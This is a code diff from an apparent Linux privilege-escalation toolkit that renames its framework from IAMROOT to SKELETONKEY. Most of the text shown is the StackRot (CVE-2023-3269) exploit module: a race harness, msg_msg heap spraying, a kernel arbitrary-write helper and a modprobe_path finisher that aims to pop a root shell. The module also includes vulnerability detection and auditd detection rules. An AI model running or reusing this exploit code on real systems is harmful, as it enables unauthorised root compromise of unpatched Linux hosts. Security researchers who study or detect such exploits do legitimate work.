@@ -403,7 +403,7 @@ const struct iamroot_module pwnkit_module = {
.detect_falco = NULL,
};
void iamroot_register_pwnkit(void)
void skeletonkey_register_pwnkit(void)
{
iamroot_register(&pwnkit_module);
skeletonkey_register(&pwnkit_module);
}
@@ -0,0 +1,12 @@
/*
* pwnkit_cve_2021_4034 — SKELETONKEY module registry hook
*/
#ifndef PWNKIT_SKELETONKEY_MODULES_H
#define PWNKIT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module pwnkit_module;
#endif
+1 -1
View File
@@ -16,7 +16,7 @@ Writeup: <https://lkmidas.github.io/posts/20230724-stackrot/>
Upstream fix: mainline 6.5-rc1 (commit `0503ea8f5ba73`, July 2023).
Branch backports: 6.4.4 / 6.3.13 / 6.1.37.
## IAMROOT role
## SKELETONKEY role
Two-thread race driver (Thread A: mremap rotation on MAP_GROWSDOWN
anchored VMA; Thread B: fork+fault) with cpu pinning. kmalloc-192
@@ -1,12 +0,0 @@
/*
* stackrot_cve_2023_3269 — IAMROOT module registry hook
*/
#ifndef STACKROT_IAMROOT_MODULES_H
#define STACKROT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module stackrot_module;
#endif
@@ -1,5 +1,5 @@
/*
* stackrot_cve_2023_3269 IAMROOT module
* stackrot_cve_2023_3269 SKELETONKEY module
*
* "Stack Rot": UAF in maple-tree-based VMA splitting. The maple
* tree replaced the rbtree-based VMA store in 6.1; during
@@ -28,7 +28,7 @@
* Per repo policy ("verified-vs-claimed"): we run the trigger,
* record empirical signals (slabinfo delta on kmalloc-192, child
* signal disposition, race iteration count), and return
* IAMROOT_EXPLOIT_FAIL with a continuation roadmap. A SIGSEGV/
* SKELETONKEY_EXPLOIT_FAIL with a continuation roadmap. A SIGSEGV/
* SIGBUS/SIGKILL in the race child IS recorded but does NOT get
* upgraded to EXPLOIT_OK only an actual cred swap (euid==0)
* does, and we do not currently demonstrate that.
@@ -67,7 +67,7 @@
* Affects the 6.1 LTS kernels still widely deployed.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -148,12 +148,12 @@ static bool maple_tree_variant_present(const struct kernel_version *v)
return false;
}
static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t stackrot_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] stackrot: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 6.1 (when maple tree landed). Pre-6.1 kernels
@@ -163,7 +163,7 @@ static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] stackrot: kernel %s predates maple-tree VMA code (introduced in 6.1)\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&stackrot_range, &v);
@@ -171,14 +171,14 @@ static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] stackrot: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] stackrot: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] stackrot: mm-class bug — affects default-config kernels; "
"no exotic preconditions\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Userns reach ------------------------------------------------- */
@@ -436,7 +436,7 @@ static void *race_thread_b(void *arg)
/* ---- Groom skeleton ---------------------------------------------- */
/* msg_msg sysv spray for kmalloc-192. Tagged with "IAMROOT_" cookie
/* msg_msg sysv spray for kmalloc-192. Tagged with "SKELETONKEY_" cookie
* so a forensic look at /proc/slabinfo / KASAN dumps shows our
* fingerprint. */
static int spray_anon_vma_slab(int queues[STACKROT_SPRAY_QUEUES])
@@ -445,7 +445,7 @@ static int spray_anon_vma_slab(int queues[STACKROT_SPRAY_QUEUES])
memset(&p, 0, sizeof p);
p.mtype = 0x4943; /* 'IC' */
memset(p.buf, 0x49, sizeof p.buf);
memcpy(p.buf, "IAMROOT_", 8);
memcpy(p.buf, "SKELETONKEY_", 8);
int created = 0;
for (int i = 0; i < STACKROT_SPRAY_QUEUES; i++) {
@@ -530,7 +530,7 @@ static int stackrot_reseed_kaddr_spray(int queues[STACKROT_SPRAY_QUEUES],
memset(&p, 0, sizeof p);
p.mtype = 0x4943; /* 'IC' */
memset(p.buf, 0x49, sizeof p.buf);
memcpy(p.buf, "IAMROOT_", 8);
memcpy(p.buf, "SKELETONKEY_", 8);
/* Pack the target kaddr at byte 8 (one qword in) and the
* caller's payload bytes immediately after this way ANY
@@ -619,52 +619,52 @@ static int stackrot_arb_write(uintptr_t kaddr,
#ifdef __linux__
static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
static skeletonkey_result_t stackrot_exploit_linux(const struct skeletonkey_ctx *ctx)
{
/* 1. Refuse-gate: re-call detect() and short-circuit. */
iamroot_result_t pre = stackrot_detect(ctx);
if (pre == IAMROOT_OK) {
skeletonkey_result_t pre = stackrot_detect(ctx);
if (pre == SKELETONKEY_OK) {
fprintf(stderr, "[+] stackrot: kernel not vulnerable; refusing exploit\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (pre != IAMROOT_VULNERABLE) {
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] stackrot: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] stackrot: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!proc_self_maps_readable()) {
fprintf(stderr, "[-] stackrot: /proc/self/maps not readable — exotic env, "
"cannot drive the race\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
{
struct kernel_version v;
if (!kernel_version_current(&v) || !maple_tree_variant_present(&v)) {
fprintf(stderr, "[-] stackrot: maple-tree variant not detectable\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
}
/* Full-chain pre-check: resolve offsets BEFORE forking + entering
* userns. If modprobe_path is unresolvable we refuse here rather
* than running a 30 s race that has no finisher to call. */
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("stackrot");
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("stackrot");
fprintf(stderr, "[-] stackrot: --full-chain requested but modprobe_path "
"offset unresolved; refusing\n");
fprintf(stderr, "[i] stackrot: even with offsets, race-win reliability is "
"well below 1%% per run — see module header.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
full_chain_ready = true;
fprintf(stderr, "[i] stackrot: --full-chain ready — race budget extends to "
"%d s, but RELIABILITY REMAINS <1%% per run on a real\n"
@@ -683,7 +683,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
signal(SIGPIPE, SIG_IGN);
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* 2. Userns reach. Bug is reachable without it, but userns
@@ -746,7 +746,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
uint64_t b_faults = atomic_load(&g_race_b_faults);
/* 6. Empirical witness breadcrumb. */
FILE *log = fopen("/tmp/iamroot-stackrot.log", "w");
FILE *log = fopen("/tmp/skeletonkey-stackrot.log", "w");
if (log) {
fprintf(log,
"stackrot race harness:\n"
@@ -803,11 +803,11 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
.arb_calls = 0,
.region = &region,
};
int fr = iamroot_finisher_modprobe_path(&off,
int fr = skeletonkey_finisher_modprobe_path(&off,
stackrot_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-stackrot.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-stackrot.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
fr, arb_ctx.arb_calls);
@@ -815,7 +815,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
}
drain_anon_vma_slab(queues);
race_region_teardown(&region);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
_exit(35); /* finisher ran, no land */
}
@@ -851,7 +851,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
/* PARENT */
int status = 0;
pid_t w = waitpid(child, &status, 0);
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
@@ -860,20 +860,20 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
"(consistent with UAF firing under KASAN)\n", sig);
fprintf(stderr, "[~] stackrot: empirical signal recorded; no cred\n"
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
" See /tmp/iamroot-stackrot.log + dmesg for witnesses.\n");
" See /tmp/skeletonkey-stackrot.log + dmesg for witnesses.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] stackrot: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
if (rc == 22 || rc == 24) return IAMROOT_PRECOND_FAIL;
if (rc == 23) return IAMROOT_EXPLOIT_FAIL;
if (rc == 22 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
if (rc == 23) return SKELETONKEY_EXPLOIT_FAIL;
if (rc == 34) {
/* Finisher reported root-pop success. The shared finisher
@@ -883,7 +883,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] stackrot: --full-chain finisher reported "
"EXPLOIT_OK (race won + write landed)\n");
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
if (rc == 35) {
/* Finisher ran but didn't land — by far the expected outcome
@@ -893,11 +893,11 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
" win + land within budget (this is the expected\n"
" outcome — race-win reliability is <1%% per run).\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc != 30) {
fprintf(stderr, "[-] stackrot: child failed at stage rc=%d\n", rc);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -906,35 +906,35 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
" implemented (per-kernel offsets; see module .c TODO\n"
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
static iamroot_result_t stackrot_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t stackrot_exploit(const struct skeletonkey_ctx *ctx)
{
#ifdef __linux__
return stackrot_exploit_linux(ctx);
#else
(void)ctx;
fprintf(stderr, "[-] stackrot: Linux-only module; cannot run on this host\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#endif
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t stackrot_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t stackrot_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] stackrot: cleaning up race-harness breadcrumb\n");
}
if (unlink("/tmp/iamroot-stackrot.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-stackrot.log") < 0 && errno != ENOENT) {
/* harmless */
}
/* The race harness's threads + msg queues live in the child
* process which has already exited; nothing else to drain. */
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Detection rules --------------------------------------------- */
@@ -945,12 +945,12 @@ static const char stackrot_auditd[] =
"# stacks, combined with unshare(CLONE_NEWUSER). Each individual call\n"
"# is benign — flag the *combination* by correlating these keys with a\n"
"# subsequent kernel oops or KASAN message in dmesg.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-stackrot-userns\n"
"-a always,exit -F arch=b64 -S mremap -k iamroot-stackrot-mremap\n"
"-a always,exit -F arch=b64 -S mprotect -k iamroot-stackrot-mprotect\n"
"-a always,exit -F arch=b64 -S munmap -F success=1 -k iamroot-stackrot-munmap\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-stackrot-userns\n"
"-a always,exit -F arch=b64 -S mremap -k skeletonkey-stackrot-mremap\n"
"-a always,exit -F arch=b64 -S mprotect -k skeletonkey-stackrot-mprotect\n"
"-a always,exit -F arch=b64 -S munmap -F success=1 -k skeletonkey-stackrot-munmap\n";
const struct iamroot_module stackrot_module = {
const struct skeletonkey_module stackrot_module = {
.name = "stackrot",
.cve = "CVE-2023-3269",
.summary = "maple-tree VMA-split UAF (StackRot) → kernel R/W → cred overwrite",
@@ -966,7 +966,7 @@ const struct iamroot_module stackrot_module = {
.detect_falco = NULL,
};
void iamroot_register_stackrot(void)
void skeletonkey_register_stackrot(void)
{
iamroot_register(&stackrot_module);
skeletonkey_register(&stackrot_module);
}
@@ -0,0 +1,12 @@
/*
* stackrot_cve_2023_3269 — SKELETONKEY module registry hook
*/
#ifndef STACKROT_SKELETONKEY_MODULES_H
#define STACKROT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module stackrot_module;
#endif